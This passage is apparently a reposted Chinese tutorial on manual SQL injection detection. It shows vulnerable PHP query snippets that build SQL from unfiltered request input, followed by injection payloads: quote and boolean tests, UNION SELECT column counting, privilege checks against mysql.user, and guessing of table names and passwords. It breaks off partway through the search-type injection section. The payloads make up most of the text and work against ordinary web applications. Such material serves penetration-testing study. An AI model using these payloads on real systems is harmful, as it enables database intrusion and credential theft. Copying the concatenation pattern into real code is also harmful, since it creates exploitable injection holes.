SQL注入手工检测

xiaoxiao2021-02-28  59

SQL注入手工检测

SQL注入手工检测 1基本检测 数字型字符型搜索型POST注入布尔盲注报错注入堆叠注入判断是什么数据库 2绕过技巧 大小写替换关键字使用编码注释和符号等价函数与命令特殊符号

2017年12月14日 09:36:16

1、基本检测

数字型

$id=@$_GET['id']; //id未经过滤 $sql = "SELECT * FROM sqltest WHERE id='$id'"; 判断 asp?id=49' //报错 asp?id=49 and 1=1 asp?id=49 and 1=2 判断什么型 ?id=1%2b1 //加法减法,可区分数字还是字符型 数据库权限判断,判断root and ord(mid(user(),1,1))=114and (select count(*) from mysql.user)>0 //返回正常有读写 判断字段,字段一样返回正常,几个字段写几个null返回正常 php?id=1 and 1=1 union select 1,2,3,4,5 或 php?id=1 union select null,null,null..... php?id=1 and 1=1 order by 3 强制返回记录 php?id=2 union select 1,2,3 limit 1,1

字符型

$sql="select * from user where username = '$name'"; //php select * from user where username = 'admin' //sql $query="select first_name from users where id='$_GET['id']'"; //字符型 1' union select database() #; //输入 select first_name from users where id='1'union select database()#' //sql语句变形 判断 xx' and '1'=1--' xx' and '1=2--' 猜字段 php?username=admin' union select 1,2,3,4 and '1'='1 猜对后是4个字段,替换相关回显位 php?username=admin' union select database(),version(),3,4 and '1'='1 猜表名 php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' 猜密码 php?username=admin' and password='fendo

搜索型

$sql="select * from user where password like '%$pwd%' order by password"; 'and 1=1 and '%'=' //输入 select * from user where password like '
转载请注明原文地址: https://www.6miu.com/read-1750183.html

最新回复(0)